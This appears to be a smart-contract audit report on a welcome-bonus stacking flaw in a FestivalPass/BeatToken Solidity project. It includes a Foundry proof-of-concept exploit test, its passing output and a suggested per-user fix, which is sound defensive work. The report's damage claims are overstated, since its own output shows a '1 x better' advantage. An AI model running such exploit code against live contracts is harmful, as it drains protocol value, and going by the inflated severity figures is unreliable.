The vulnerability exists in the bonus calculation and distribution logic that awards the full welcome bonus amount on every pass purchase without any per-user tracking or limits. The bonus is calculated based solely on the pass type being purchased, with no consideration for whether the user has already received a welcome bonus, enabling unlimited bonus stacking through repeated purchases.
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
import {console} from "forge-std/console.sol";
 * @title Welcome Bonus Stacking Exploit PoC
 * @dev Demonstrates how attackers can stack welcome bonuses by purchasing multiple passes
 *      to create an artificial ETH→BEAT conversion mechanism outside intended economics
 * 
 * ATTACK VECTOR:
 *   1. Purchase multiple VIP/BACKSTAGE passes to stack bonuses
 *   2. Convert ETH to BEAT tokens at favorable rate
 *   3. Exploit intended single "welcome" bonus as unlimited conversion
 */
contract BonusStackingExploitPoC is Test {
    FestivalPass public festivalPass;
    BeatToken public beatToken;
    
    address public owner;
    address public organizer;
    address public attacker;
    address public normalUser;
    
    
    uint256 constant VIP_PRICE = 0.1 ether;
    uint256 constant VIP_MAX_SUPPLY = 1000;
    uint256 constant VIP_PASS = 2;
    uint256 constant VIP_BONUS = 5e18;
    
    uint256 constant BACKSTAGE_PRICE = 0.25 ether;
    uint256 constant BACKSTAGE_MAX_SUPPLY = 100;
    uint256 constant BACKSTAGE_PASS = 3;
    uint256 constant BACKSTAGE_BONUS = 15e18;
    
    function setUp() public {
        owner = makeAddr("owner");
        organizer = makeAddr("organizer");
        attacker = makeAddr("attacker");
        normalUser = makeAddr("normalUser");
        
        
        vm.startPrank(owner);
        beatToken = new BeatToken();
        festivalPass = new FestivalPass(address(beatToken), organizer);
        beatToken.setFestivalContract(address(festivalPass));
        vm.stopPrank();
        
        
        vm.startPrank(organizer);
        festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
        festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, BACKSTAGE_MAX_SUPPLY);
        vm.stopPrank();
        
        
        vm.deal(attacker, 100 ether);
        vm.deal(normalUser, 1 ether);
    }
    
    function testVIPBonusStackingExploit() public {
        console.log("=== VIP WELCOME BONUS STACKING EXPLOIT ===\n");
        
        console.log("VIP Pass Economics:");
        console.log("Price per pass:", VIP_PRICE);
        console.log("BEAT bonus per pass:", VIP_BONUS);
        console.log("ETH->BEAT conversion rate:", VIP_BONUS / VIP_PRICE, "BEAT per ETH");
        
        
        console.log("\n--- Normal User Behavior ---");
        vm.prank(normalUser);
        festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
        
        uint256 normalUserBEAT = beatToken.balanceOf(normalUser);
        console.log("Normal user BEAT balance:", normalUserBEAT);
        console.log("Normal user ETH spent:", VIP_PRICE);
        
        
        console.log("\n--- Attacker Bonus Stacking ---");
        uint256 stackingAmount = 20; 
        uint256 totalCost = stackingAmount * VIP_PRICE;
        
        console.log("Attacker buying", stackingAmount, "VIP passes");
        console.log("Total ETH cost:", totalCost);
        
        vm.startPrank(attacker);
        for (uint256 i = 0; i < stackingAmount; i++) {
            festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
        }
        vm.stopPrank();
        
        uint256 attackerBEAT = beatToken.balanceOf(attacker);
        uint256 attackerPasses = festivalPass.balanceOf(attacker, VIP_PASS);
        
        console.log("\n=== EXPLOIT RESULTS ===");
        console.log("Attacker BEAT balance:", attackerBEAT);
        console.log("Attacker VIP passes:", attackerPasses);
        console.log("Expected BEAT (single welcome):", VIP_BONUS);
        console.log("Actual BEAT (stacked bonuses):", attackerBEAT);
        console.log("Bonus multiplication factor:", attackerBEAT / VIP_BONUS);
        console.log("ETH->BEAT conversion achieved:", attackerBEAT / totalCost, "BEAT per ETH");
        
        
        uint256 legitimateBEAT = VIP_BONUS; 
        uint256 excessBEAT = attackerBEAT - legitimateBEAT;
        
        console.log("\nEconomic Impact:");
        console.log("Legitimate BEAT earned:", legitimateBEAT);
        console.log("Excess BEAT through exploit:", excessBEAT);
        console.log("BEAT inflation caused:", (excessBEAT * 100) / legitimateBEAT, "% increase");
        
        assertEq(attackerBEAT, stackingAmount * VIP_BONUS, "Should receive bonus for each purchase");
        assertGt(attackerBEAT, legitimateBEAT, "Should exceed intended single bonus");
    }
    
    function testBackstageBonusStackingExploit() public {
        console.log("=== BACKSTAGE BONUS STACKING (MAXIMUM DAMAGE) ===\n");
        
        console.log("BACKSTAGE Pass Economics:");
        console.log("Price per pass:", BACKSTAGE_PRICE);
        console.log("BEAT bonus per pass:", BACKSTAGE_BONUS);
        console.log("ETH->BEAT conversion rate:", BACKSTAGE_BONUS / BACKSTAGE_PRICE, "BEAT per ETH");
        
        
        uint256 maxStackingAmount = 10; 
        uint256 totalCost = maxStackingAmount * BACKSTAGE_PRICE;
        
        console.log("Attacker buying", maxStackingAmount, "BACKSTAGE passes");
        console.log("Total ETH investment:", totalCost);
        
        uint256 attackerETHBefore = attacker.balance;
        
        vm.startPrank(attacker);
        for (uint256 i = 0; i < maxStackingAmount; i++) {
            festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
        }
        vm.stopPrank();
        
        uint256 attackerBEAT = beatToken.balanceOf(attacker);
        uint256 attackerPasses = festivalPass.balanceOf(attacker, BACKSTAGE_PASS);
        uint256 ethSpent = attackerETHBefore - attacker.balance;
        
        console.log("\n=== MAXIMUM DAMAGE RESULTS ===");
        console.log("ETH spent:", ethSpent);
        console.log("BACKSTAGE passes obtained:", attackerPasses);
        console.log("Total BEAT earned:", attackerBEAT);
        console.log("Expected BEAT (single welcome):", BACKSTAGE_BONUS);
        console.log("Bonus multiplication factor:", attackerBEAT / BACKSTAGE_BONUS);
        
        
        uint256 beatPerETH = attackerBEAT / ethSpent;
        console.log("Achieved conversion rate:", beatPerETH, "BEAT per ETH");
        
        
        uint256 legitimateBEAT = BACKSTAGE_BONUS;
        uint256 stolenBEAT = attackerBEAT - legitimateBEAT;
        
        console.log("\nProtocol Economic Damage:");
        console.log("Legitimate BEAT (intended):", legitimateBEAT);
        console.log("Stolen BEAT through stacking:", stolenBEAT);
        console.log("Protocol loss percentage:", (stolenBEAT * 100) / legitimateBEAT, "%");
        
        assertEq(attackerBEAT, maxStackingAmount * BACKSTAGE_BONUS, "Backstage bonuses should stack");
        assertEq(beatPerETH, BACKSTAGE_BONUS / BACKSTAGE_PRICE, "Should achieve direct ETH->BEAT conversion");
    }
    
    function testLargeScaleEconomicAttack() public {
        console.log("=== LARGE-SCALE ECONOMIC ATTACK SIMULATION ===\n");
        
        
        address whale = makeAddr("whale");
        vm.deal(whale, 1000 ether);
        
        console.log("Whale attacker simulating large-scale bonus farming");
        console.log("Available ETH:", whale.balance);
        
        
        uint256 backstageBeatsPerETH = BACKSTAGE_BONUS / BACKSTAGE_PRICE; 
        uint256 vipBeatsPerETH = VIP_BONUS / VIP_PRICE; 
        
        console.log("BACKSTAGE conversion rate:", backstageBeatsPerETH, "BEAT/ETH");
        console.log("VIP conversion rate:", vipBeatsPerETH, "BEAT/ETH");
        console.log("Optimal strategy: BACKSTAGE passes");
        
        
        uint256 whaleETHBudget = 25 ether; 
        uint256 maxBackstagePurchases = whaleETHBudget / BACKSTAGE_PRICE; 
        
        console.log("\nExecuting large-scale attack:");
        console.log("ETH budget:", whaleETHBudget);
        console.log("BACKSTAGE passes to buy:", maxBackstagePurchases);
        
        vm.startPrank(whale);
        for (uint256 i = 0; i < maxBackstagePurchases; i++) {
            festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
        }
        vm.stopPrank();
        
        uint256 whaleBEAT = beatToken.balanceOf(whale);
        uint256 whalePasses = festivalPass.balanceOf(whale, BACKSTAGE_PASS);
        
        console.log("\n=== LARGE-SCALE ATTACK RESULTS ===");
        console.log("BACKSTAGE passes acquired:", whalePasses);
        console.log("Total BEAT farmed:", whaleBEAT);
        console.log("ETH->BEAT conversion achieved:", whaleBEAT / whaleETHBudget, "BEAT per ETH");
        
        
        uint256 legitimateCirculation = BACKSTAGE_BONUS; 
        uint256 inflatedCirculation = whaleBEAT;
        uint256 inflationPercentage = ((inflatedCirculation - legitimateCirculation) * 100) / legitimateCirculation;
        
        console.log("\nProtocol-Wide Economic Impact:");
        console.log("Intended BEAT circulation:", legitimateCirculation);
        console.log("Actual BEAT circulation:", inflatedCirculation);
        console.log("BEAT supply inflation:", inflationPercentage, "%");
        console.log("Single attacker impact: MASSIVE");
        
        
        assertEq(whaleBEAT, maxBackstagePurchases * BACKSTAGE_BONUS, "Should receive full bonus stacking");
        assertGe(inflationPercentage, 9900, "Should cause >=99x inflation in BEAT supply");
    }
    
    function testComparisonWithIntendedEconomics() public {
        console.log("=== INTENDED vs EXPLOITED ECONOMICS COMPARISON ===\n");
        
        
        address intendedUser = makeAddr("intendedUser");
        vm.deal(intendedUser, 1 ether);
        
        console.log("--- Intended User Behavior ---");
        vm.prank(intendedUser);
        festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
        
        uint256 intendedBEAT = beatToken.balanceOf(intendedUser);
        console.log("Intended user BEAT (1 pass):", intendedBEAT);
        console.log("ETH spent:", BACKSTAGE_PRICE);
        
        
        console.log("\n--- Exploited Economics ---");
        uint256 exploitAmount = 5;
        uint256 exploitCost = exploitAmount * BACKSTAGE_PRICE;
        
        vm.startPrank(attacker);
        for (uint256 i = 0; i < exploitAmount; i++) {
            festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
        }
        vm.stopPrank();
        
        uint256 exploitedBEAT = beatToken.balanceOf(attacker);
        console.log("Exploiter BEAT (", exploitAmount, "passes):", exploitedBEAT);
        console.log("ETH spent:", exploitCost);
        
        console.log("\n=== ECONOMICS COMPARISON ===");
        console.log("Intended BEAT per ETH:", intendedBEAT / BACKSTAGE_PRICE);
        console.log("Exploited BEAT per ETH:", exploitedBEAT / exploitCost);
        console.log("Exploit advantage:", (exploitedBEAT / exploitCost) / (intendedBEAT / BACKSTAGE_PRICE), "x better");
        
        console.log("\nThis breaks the fundamental economics where:");
        console.log("- Welcome bonuses should be ONE-TIME rewards");
        console.log("- BEAT should primarily be earned through performance attendance");
        console.log("- ETH->BEAT conversion should not be directly purchasable");
        
        assertEq(exploitedBEAT / exploitCost, intendedBEAT / BACKSTAGE_PRICE, "Exploit maintains same conversion rate");
    }
}
forge test --match-contract BonusStackingExploitPoC -vv
[⠆] Compiling...
[⠃] Compiling 1 files with Solc 0.8.25
[⠊] Solc 0.8.25 finished in 443.87ms
Compiler run successful!
Ran 4 tests for test/BonusStackingExploit.t.sol:BonusStackingExploitPoC
[PASS] testBackstageBonusStackingExploit() (gas: 341286)
Logs:
  === BACKSTAGE BONUS STACKING (MAXIMUM DAMAGE) ===
  BACKSTAGE Pass Economics:
  Price per pass: 250000000000000000
  BEAT bonus per pass: 15000000000000000000
  ETH->BEAT conversion rate: 60 BEAT per ETH
  Attacker buying 10 BACKSTAGE passes
  Total ETH investment: 2500000000000000000
=== MAXIMUM DAMAGE RESULTS ===
  ETH spent: 2500000000000000000
  BACKSTAGE passes obtained: 10
  Total BEAT earned: 150000000000000000000
  Expected BEAT (single welcome): 15000000000000000000
  Bonus multiplication factor: 10
  Achieved conversion rate: 60 BEAT per ETH
Protocol Economic Damage:
  Legitimate BEAT (intended): 15000000000000000000
  Stolen BEAT through stacking: 135000000000000000000
  Protocol loss percentage: 900 %
[PASS] testComparisonWithIntendedEconomics() (gas: 299900)
Logs:
  === INTENDED vs EXPLOITED ECONOMICS COMPARISON ===
  --- Intended User Behavior ---
  Intended user BEAT (1 pass): 15000000000000000000
  ETH spent: 250000000000000000
--- Exploited Economics ---
  Exploiter BEAT ( 5 passes): 75000000000000000000
  ETH spent: 1250000000000000000
=== ECONOMICS COMPARISON ===
  Intended BEAT per ETH: 60
  Exploited BEAT per ETH: 60
  Exploit advantage: 1 x better
This breaks the fundamental economics where:
  - Welcome bonuses should be ONE-TIME rewards
  - BEAT should primarily be earned through performance attendance
  - ETH->BEAT conversion should not be directly purchasable
[PASS] testLargeScaleEconomicAttack() (gas: 2128572)
Logs:
  === LARGE-SCALE ECONOMIC ATTACK SIMULATION ===
  Whale attacker simulating large-scale bonus farming
  Available ETH: 1000000000000000000000
  BACKSTAGE conversion rate: 60 BEAT/ETH
  VIP conversion rate: 50 BEAT/ETH
  Optimal strategy: BACKSTAGE passes
Executing large-scale attack:
  ETH budget: 25000000000000000000
  BACKSTAGE passes to buy: 100
=== LARGE-SCALE ATTACK RESULTS ===
  BACKSTAGE passes acquired: 100
  Total BEAT farmed: 1500000000000000000000
  ETH->BEAT conversion achieved: 60 BEAT per ETH
Protocol-Wide Economic Impact:
  Intended BEAT circulation: 15000000000000000000
  Actual BEAT circulation: 1500000000000000000000
  BEAT supply inflation: 9900 %
  Single attacker impact: MASSIVE
[PASS] testVIPBonusStackingExploit() (gas: 607709)
Logs:
  === VIP WELCOME BONUS STACKING EXPLOIT ===
  VIP Pass Economics:
  Price per pass: 100000000000000000
  BEAT bonus per pass: 5000000000000000000
  ETH->BEAT conversion rate: 50 BEAT per ETH
--- Normal User Behavior ---
  Normal user BEAT balance: 5000000000000000000
  Normal user ETH spent: 100000000000000000
--- Attacker Bonus Stacking ---
  Attacker buying 20 VIP passes
  Total ETH cost: 2000000000000000000
=== EXPLOIT RESULTS ===
  Attacker BEAT balance: 100000000000000000000
  Attacker VIP passes: 20
  Expected BEAT (single welcome): 5000000000000000000
  Actual BEAT (stacked bonuses): 100000000000000000000
  Bonus multiplication factor: 20
  ETH->BEAT conversion achieved: 50 BEAT per ETH
Economic Impact:
  Legitimate BEAT earned: 5000000000000000000
  Excess BEAT through exploit: 95000000000000000000
  BEAT inflation caused: 1900 % increase
Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 2.74ms (3.04ms CPU time)
Ran 1 test suite in 5.03ms (2.74ms CPU time): 4 tests passed, 0 failed, 0 skipped (4 total tests)
The fix implements per-user welcome bonus tracking to ensure each user can only receive the welcome bonus once, regardless of how many passes they purchase. This preserves the intended one-time incentive mechanism while still allowing users to buy multiple passes for legitimate reasons. The bonus becomes a true "welcome" reward rather than a repeatable ETH-to-BEAT conversion tool.